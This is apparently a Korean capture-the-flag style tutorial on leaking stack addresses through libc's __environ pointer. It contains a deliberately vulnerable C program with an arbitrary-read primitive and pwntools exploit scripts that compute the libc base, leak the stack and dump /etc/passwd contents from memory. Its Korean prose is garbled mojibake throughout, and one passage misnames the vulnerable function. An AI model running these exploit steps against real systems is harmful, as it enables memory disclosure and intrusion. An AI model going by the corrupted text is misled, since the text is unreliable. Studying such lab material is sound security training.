ํ”„๋กœ์„ธ์Šค๋Š” ํ™˜๊ฒฝ ๋ณ€์ˆ˜ ์ •๋ณด๋ฅผ ์ €์žฅํ•˜๊ณ , ํ•„์š”ํ•  ๋•Œ๋งˆ๋‹ค ๋ถˆ๋Ÿฌ์™€ ์‚ฌ์šฉํ•œ๋‹ค.

๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ ํ•จ์ˆ˜์—์„œ ํ™˜๊ฒฝ ๋ณ€์ˆ˜ ํฌ์ธํ„ฐ์™€ ๊ด€๋ จ๋œ ๊ณต๊ฒฉ์— ๋Œ€ํ•ด ์•Œ์•„๋ณด๊ณ ์ž ํ•œ๋‹ค.

์ด์ „์— ํ™˜๊ฒฝ ๋ณ€์ˆ˜๋ฅผ ์–ด๋А ์˜์—ญ์— ์ €์žฅํ•˜๊ณ , ์–ด๋–ป๊ฒŒ ์ฐธ์กฐํ•˜๋Š”์ง€ ์•Œ๊ณ  ์žˆ์–ด์•ผ ํ•˜๊ธฐ ๋•Œ๋ฌธ์— ์ด๋ฅผ ๋จผ์ € ์•Œ์•„๋ณด์ž.

 

์‹ค์Šต ์ฝ”๋“œ๋А ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

// Name: environ.c
// Compile: gcc -o environ environ.c
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <signal.h>
#include <stdlib.h>
void sig_handle() {
  exit(0);
}
void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
  signal(SIGALRM, sig_handle);
  alarm(5);
}
void read_file() {
  char file_buf[4096];
  int fd = open("/etc/passwd", O_RDONLY);
  read(fd, file_buf, sizeof(file_buf) - 1);
  close(fd);
}
int main() {
  char buf[1024];
  long addr;
  int idx;
  init();
  read_file();
  printf("stdout: %p\n", stdout);
  while (1) {
    printf("> ");
    scanf("%d", &idx);
    switch (idx) {
      case 1:
        printf("Addr: ");
        scanf("%ld", &addr);
        printf("%s", (char *)addr);
        break;
      default:
        break;
    }
  }
  return 0;
}

 

 

 

 

ํ™˜๊ฒฝ ๋ณ€์ˆ˜

ํ™˜๊ฒฝ๋ณ€์ˆ˜ (Environment Variable)

: ๋งค๋ฒˆ ๋ณ€ํ•  ์ˆ˜ ์žˆ๋Š” ๋™์ ์ธ ๊ฐ’๋“ค์˜ ๋ชจ์ž„์œผ๋กœ, ์‹œ์Šคํ…œ์˜ ์ •๋ณด๋ฅผ ๊ฐ–๊ณ  ์žˆ๋Š” ๋ณ€์ˆ˜

-> ์‚ฌ์šฉ์ž๊ฐ€ ์ง์ ‘ ์ถ”๊ฐ€ ๋ฐ ์ˆ˜์ •ํ•˜๊ฑฐ๋‚˜ ์‚ญ์ œํ•  ์ˆ˜ ์žˆ๋Š” ๊ฐ’์ด๋‹ค.

 

ํ™˜๊ฒฝ ๋ณ€์ˆ˜๋Š” ํ„ฐ๋ฏธ๋„ ๋ฟ๋งŒ ์•„๋‹ˆ๋ผ ํ”„๋กœ๊ทธ๋žจ์—์„œ๋„ ์ฐธ์กฐํ•œ๋‹ค. ํ”„๋กœ๊ทธ๋žจ์—์„œ๋„ ๋ช…๋ น์–ด๋ฅผ ์‹คํ–‰ํ•ด์•ผ ํ•˜๋Š” ๊ฒฝ์šฐ๊ฐ€ ์ข…์ข… ์žˆ์œผ๋ฉฐ, ์ ˆ๋Œ€ ๊ฒฝ๋กœ๋ฅผ ์ž…๋ ฅํ•˜์ง€ ์•Š์•„๋„ ๋ช…๋ น์–ด๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๋‹ค. ํ”„๋กœ์„ธ์Šค๋ฅผ ๋กœ๋“œํ•˜๋ฉด์„œ ํ™˜๊ฒฝ๋ณ€์ˆ˜๋ฅผ ์ดˆ๊ธฐํ™”ํ•˜๋Š” ๊ฒŒ ๊ฐ€๋Šฅํ•˜๊ธฐ ๋•Œ๋ฌธ์ด๋‹ค.

 

๋ฆฌ๋ˆ…์Šค ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ ๊ณต๊ฒฉํ•  ๋•Œ ์ƒํ™ฉ์— ๋”ฐ๋ผ ์Šคํƒ ์ฃผ์†Œ๋ฅผ ์•Œ์•„๋‚ด์•ผ ํ•  ๋•Œ๊ฐ€ ์žˆ๋‹ค. ํ•˜์ง€๋งŒ ๊ธฐ๋ณธ์ ์œผ๋กœ ๋ฆฌ๋ˆ…์Šค ๋ฐ”์ด๋„ˆ๋ฆฌ๋Š” ์Šคํƒ ์ฃผ์†Œ๋ฅผ ํฌํ•จํ•˜์ง€ ์•Š๊ธฐ ๋•Œ๋ฌธ์— ์Šคํƒ ์ฃผ์†Œ๋ฅผ ์ „์—ญ ๋ณ€์ˆ˜์— ์ €์žฅํ•˜๋Š” ์ฝ”๋“œ๊ฐ€ ์žˆ์ง€ ์•Š๋Š” ํ•œ ๋ฐ”์ด๋„ˆ๋ฆฌ ์ฃผ์†Œ ๋‚ด์—์„œ ์Šคํƒ ์ฃผ์†Œ๋ฅผ ์ฐพ๋Š” ๊ฒƒ์€ ๋ถˆ๊ฐ€๋Šฅํ•˜๋‹ค. ํ™˜๊ฒฝ ๋ณ€์ˆ˜์— ๋Œ€ํ•œ ์ •๋ณด๋Š” ์Šคํƒ ์˜์—ญ์— ์กด์žฌํ•˜๊ณ , ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ ํ•จ์ˆ˜๋ฅผ ์‹คํ–‰ํ•  ๋•Œ๋„ ํ•ด๋‹น ์ •๋ณด๋ฅผ ์ฐธ์กฐํ•˜๊ธฐ ๋•Œ๋ฌธ์— ํ™˜๊ฒฝ ๋ณ€์ˆ˜๋ฅผ ๊ฐ€๋ฆฌํ‚ค๋Š” ํฌ์ธํ„ฐ๊ฐ€ ๋ณ„๋„๋กœ ์„ ์–ธ๋˜์–ด ์žˆ๋‹ค.

๋”ฐ๋ผ์„œ, ํ•ด๋‹น ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ ์ฃผ์†Œ๋ฅผ ์•Œ๊ณ  ์žˆ๊ณ , ์ž„์˜์˜ ์ฃผ์†Œ๋ฅผ ์ฝ์–ด๋‚ผ ์ˆ˜ ์žˆ๋Š” ์ทจ์•ฝ์ ์ด ์žˆ๋‹ค๋ฉด ์Šคํƒ ์ฃผ์†Œ๋ฅผ ์•Œ์•„๋‚ผ ์ˆ˜ ์žˆ๋‹ค.

 

 

 

 

__environ

libc.so.6 ๋‚ด environ ์ฃผ์†Œ

๋‹ค์Œ์€ libc.so.6 ํŒŒ์ผ์—์„œ environ ์‹ฌ๋ณผ์„ ์ฐพ๋Š” ๋ช…๋ น์–ด๋ฅผ ์‹คํ–‰ํ•œ ํ™”๋ฉด์ด๋‹ค.

__environ ์ด๋ผ๋Š” ์ด๋ฆ„์˜ ์ „์—ญ ๋ณ€์ˆ˜๊ฐ€ ์กด์žฌํ•˜๋Š” ๊ฑธ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค. ์ด๋Š” ์‹œ์Šคํ…œ ๋ช…๋ น์–ด๋ฅผ ์‹คํ–‰ํ•˜๊ธฐ ์œ„ํ•œ execve ๊ณ„์—ด์˜ ํ•จ์ˆ˜์™€ getenv ๋“ฑ ํ™˜๊ฒฝ ๋ณ€์ˆ˜์™€ ๊ด€๋ จ๋œ ํ•จ์ˆ˜์—์„œ ์ฐธ์กฐํ•˜๋Š” ๋ณ€์ˆ˜์ด๋‹ค.

 

์•ž์„œ ์–ธ๊ธ‰ํ•œ ์‹ค์Šต ์˜ˆ์ œ๋ฅผ ์ปดํŒŒ์ผํ•œ ๋’ค ๋””๋ฒ„๊น…ํ•ด์„œ ํฌ์ธํ„ฐ์— ์–ด๋–ค ์ฃผ์†Œ๊ฐ€ ์žˆ๋Š”์ง€ ํ™•์ธํ•ด๋ณด์ž.

๋‹ค์Œ๊ณผ ๊ฐ™์ด ๋””๋ฒ„๊น…ํ•ด์„œ __environ ํฌ์ธํ„ฐ์˜ ์ฃผ์†Œ๋ฅผ(0x00007fffffffe038) ํ™•์ธํ•˜๊ณ , ํ•ด๋‹น ์ฃผ์†Œ๊ฐ€ ๊ฐ€๋ฆฌํ‚ค๋Š” ๊ฒฐ๊ณผ๋ฅผ ํ™•์ธํ•ด๋ดค๋‹ค.

์ด๋Š” ๋”๋ธ” ํฌ์ธํ„ฐ๋กœ, ๊ฐ๊ฐ์˜ ํ™˜๊ฒฝ ๋ณ€์ˆ˜ ๋ฌธ์ž์—ด์ด ํฌํ•จ๋œ ์ฃผ์†Œ๋ฅผ ๊ฐ–๊ณ  ์žˆ๋Š” ๊ฑธ ํ™•์ธํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ ํ•ด๋‹น ์ฃผ์†Œ๋ฅผ vmmap ๋ช…๋ น์–ด๋กœ ํ™•์ธํ•ด๋ณด๋‹ˆ ์Šคํƒ ์˜์—ญ์ธ ๊ฑธ ํ™•์ธํ•  ์ˆ˜ ์žˆ์—ˆ๋‹ค.

 

๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ ์ฃผ์†Œ๋ฅผ ์•Œ๊ณ  ์žˆ๊ณ , ํ•ด๋‹น ์ฃผ์†Œ๋ฅผ ์ฝ์„ ์ˆ˜ ์žˆ๋Š” ์ทจ์•ฝ์ ์ด ์žˆ๋Š” ๊ฒฝ์šฐ, ์Šคํƒ ์ฃผ์†Œ๋ฅผ ๋ฆญํ•˜๊ณ  ๊ณต๊ฒฉ์— ์ด์šฉํ•  ์ˆ˜ ์žˆ๋‹ค.

 

 

 

 

 

์ฝ”๋“œ ๋ถ„์„

๋ณดํ˜ธ ๊ธฐ๋ฒ•๐Ÿ›ก๏ธ

 

์‹ค์Šต ์ฝ”๋“œ์˜ ์ผ๋ถ€(๋ฉ”์ธํ•จ์ˆ˜)๋ฅผ ์‚ดํŽด๋ณด์ž.

int main() {
  char buf[1024];
  long addr;
  int idx;
  init();
  read_file();
  printf("stdout: %p\n", stdout);
  while (1) {
    printf("> ");
    scanf("%d", &idx);
    switch (idx) {
      case 1:
        printf("Addr: ");
        scanf("%ld", &addr);
        printf("%s", (char *)addr);
        break;
      default:
        break;
    }
  }
  return 0;
}

๋ฉ”์ธ ํ•จ์ˆ˜์—์„œ๋Š” stdout ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ ์ฃผ์†Œ๋ฅผ ์ถœ๋ ฅํ•˜๊ณ , ๋ฐ˜๋ณตํ•ด์„œ ์ž„์˜ ์ฃผ์†Œ์— ์žˆ๋Š” ๊ฐ’์„ ์ฝ์„ ์ˆ˜ ์žˆ๋Š”(read_file) ์ทจ์•ฝ์ ์ด ์กด์žฌํ•œ๋‹ค.

 

 

 

 

 

์ต์Šคํ”Œ๋กœ์ž‡

__environ ์ฃผ์†Œ ๊ณ„์‚ฐ

stdout ์ฃผ์†Œ๋ฅผ ํš๋“ํ•œ ๋‹ค์Œ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ์—์„œ ํ•ด๋‹น ์‹ฌ๋ณผ์˜ ์ฃผ์†Œ๋ฅผ ์•Œ์•„๋‚ธ ๋’ค ๋บ„์…ˆ์„ ํ†ตํ•ด ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ ๋ฒ ์ด์Šค ์ฃผ์†Œ๋ฅผ ์•Œ์•„๋‚ผ ์ˆ˜ ์žˆ๋‹ค.

๊ทธ ๋‹ค์Œ ์ „์— ๊ตฌํ–ˆ๋˜ __environ ํฌ์ธํ„ฐ์˜ ์‹ฌ๋ณผ ์ฃผ์†Œ๋ฅผ ๋”ํ•ด์„œ ํ•ด๋‹น ํฌ์ธํ„ฐ์˜ ์ฃผ์†Œ๋ฅผ ๊ตฌํ•ด์•ผ ํ•œ๋‹ค.

 

# Name: environ.py
from pwn import *
p = process("./environ")
elf = ELF('/lib/x86_64-linux-gnu/libc.so.6')
p.recvuntil(": ")
stdout = int(p.recvuntil("\n"),16)
libc_base = stdout - elf.symbols['_IO_2_1_stdout_']
libc_environ = libc_base + elf.symbols['__environ']
print(hex(libc_base))
print(hex(libc_environ))
p.interactive()

๋‹ค์Œ์˜ ์ต์Šคํ”Œ๋กœ์ž‡ ์ฝ”๋“œ๋Š” pwntools์—์„œ ์ œ๊ณตํ•˜๋Š” ELF ํด๋ž˜์Šค๋ฅผ ์‚ฌ์šฉํ•ด ๊ฐ ์‹ฌ๋ณผ์˜ ์ฃผ์†Œ๋ฅผ ์•Œ์•„๋‚ด๋Š” ์ฝ”๋“œ์ด๋‹ค.

๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ์˜ ์ •๋ณด๋ฅผ ์ฝ์–ด _IO_2_1_stdout๊ณผ __environ ์‹ฌ๋ณผ์˜ ์ฃผ์†Œ๋ฅผ ์•Œ์•„๋‚ด๊ณ , ์˜คํ”„์…‹์„ ๊ณ„์‚ฐํ•ด์„œ ์‹ค์ œ ์ฃผ์†Œ๋ฅผ ์•Œ์•„๋‚ธ๋‹ค.

์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•˜๋ฉด ์•„๋ž˜์™€ ๊ฐ™๋‹ค.

 

๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ ๋ฒ ์ด์Šค ์ฃผ์†Œ์™€ __environ ์ฃผ์†Œ๋ฅผ ์•Œ์•„๋‚ธ ๊ฑธ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

 

 

 

 

์Šคํƒ ์ฃผ์†Œ ๊ณ„์‚ฐ

__environ์˜ ์ฃผ์†Œ๋ฅผ ์•Œ์•„๋ƒˆ์œผ๋‹ˆ ์ž„์˜ ์ฃผ์†Œ ์ฝ๊ธฐ ์ทจ์•ฝ์ ์„ ์‚ฌ์šฉํ•ด์„œ ์Šคํƒ ์ฃผ์†Œ๋ฅผ ๊ตฌํ•˜๊ณ , ์ด๋ฅผ ๊ธฐ๋ฐ˜์œผ๋กœ ํŒŒ์ผ์˜ ๋‚ด์šฉ์ด ์ €์žฅ๋œ ์Šคํƒ ๋ฒ„ํผ์˜ ์ฃผ์†Œ๋ฅผ ์•Œ์•„๋‚ด์•ผ ํ•œ๋‹ค.

ํŒŒ์ผ ๋‚ด์šฉ์ด ์ €์žฅ๋œ ์Šคํƒ ๋ฒ„ํผ์™€ __environ ๋ณ€์ˆ˜๊ฐ€ ๊ฐ€๋ฆฌํ‚ค๋Š” ์Šคํƒ ์ฃผ์†Œ์™€ ๊ฑฐ๋ฆฌ ๊ฐ„๊ฒฉ์€ ๋””๋ฒ„๊น…์„ ํ†ตํ•ด ์•Œ์•„๋‚ผ ์ˆ˜ ์žˆ๋‹ค.

๋””์Šค์–ด์…ˆ๋ธ” ํ•œ ๊ฒฐ๊ณผ๋ฅผ ํ™•์ธํ•˜๋‹ˆ +77 ๋ถ€๋ถ„์—์„œ ํŒŒ์ผ์„ ์ฝ๊ธฐ ๋•Œ๋ฌธ์— ์ด ๋ถ€๋ถ„์— ๋ธŒ๋ ˆ์ดํฌ๋ฅผ ๊ฑธ์–ด๋ณด์ž.

read ํ•จ์ˆ˜์˜ ์ธ์ž๋ฅผ ํ™•์ธํ•˜๋ฉด ํŒŒ์ผ์˜ ๋‚ด์šฉ์„ ์ €์žฅํ•˜๋Š” ์œ„์น˜๋Š” RCX ๋ ˆ์ง€์Šคํ„ฐ์ด๋ฏ€๋กœ, ํ•ด๋‹น ์Šคํƒ ๋ฒ„ํผ ์ฃผ์†Œ์— ํŒŒ์ผ์˜ ๋‚ด์šฉ์ด ์ €์žฅ๋œ๋‹ค.

๊ทธ ๋‹ค์Œ, __environ ํฌ์ธํ„ฐ ์ฃผ์†Œ๊ฐ€ ์•ž์„œ ์•Œ์•„๋‚ธ ์Šคํƒ ๋ฒ„ํผ ์ฃผ์†Œ๋ฅผ ๋บผ์…ˆํ•˜์—ฌ ๊ฐ„๊ฒฉ์„ ์•Œ์•„๋‚ธ๋‹ค. ์œ„์˜ ํ™”๋ฉด์„ ํ™•์ธํ•˜๋ฉด ์•Œ ์ˆ˜ ์žˆ๋“ฏ, ๋‘ ์ฃผ์†Œ์˜ 0x1538์ž„์„ ์•Œ ์ˆ˜ ์žˆ๋‹ค.

 

 

 

 

ํŒŒ์ผ ๋‚ด์šฉ ์ฝ๊ธฐ

๋‘ ์ฃผ์†Œ์˜ ๊ฐ„๊ฒฉ์„ ์•Œ์•„๋‚ธ๋‹ค์Œ, __environ ์ฃผ์†Œ์—์„œ ๋‘ ์ฃผ์†Œ์˜ ๊ฐ„๊ฒฉ์ธ 0x1538์„ ๋บ€ ์ฃผ์†Œ๋ฅผ ์ž„์˜ ์ฃผ์†Œ ์ฝ๊ธฐ ์ทจ์•ฝ์ ์„ ํ†ตํ•ด ์ถœ๋ ฅํ•œ๋‹ค.

# Name: environ.py
from pwn import *

p = process("./environ")
elf = ELF('/lib/x86_64-linux-gnu/libc.so.6')

p.recvuntil(": ")

stdout = int(p.recvuntil("\n"),16)
libc_base = stdout - elf.symbols['_IO_2_1_stdout_']
libc_environ = libc_base + elf.symbols['__environ']

print(hex(libc_base))
print(hex(libc_environ))

p.sendlineafter(">", "1")
p.sendlineafter(":", str(libc_environ))

p.recv(1)
stack_environ = u64(p.recv(6).ljust(8, b"\x00")) 
file_content = stack_environ - 0x1538

print("stack_environ: " + hex(stack_environ))

p.sendlineafter(">", "1")
p.sendlineafter(":", str(file_content))

p.interactive()

 

์ต์Šคํ”Œ๋กœ์ž‡ ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•œ ๊ฒฐ๊ณผ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค. (์—๋Ÿฌ๊ฐ€ ๋‚˜์„œ ์ฝ”๋“œ ์ค‘ ์ผ๋ถ€๋ถ„(\x00์•ž)์„ ๋ฐ”์ดํŠธ ์ฒ˜๋ฆฌ๋กœ ๋ฐ”๊ฟจ๋‹ค.)

 

๋ณต์‚ฌํ–ˆ์Šต๋‹ˆ๋‹ค!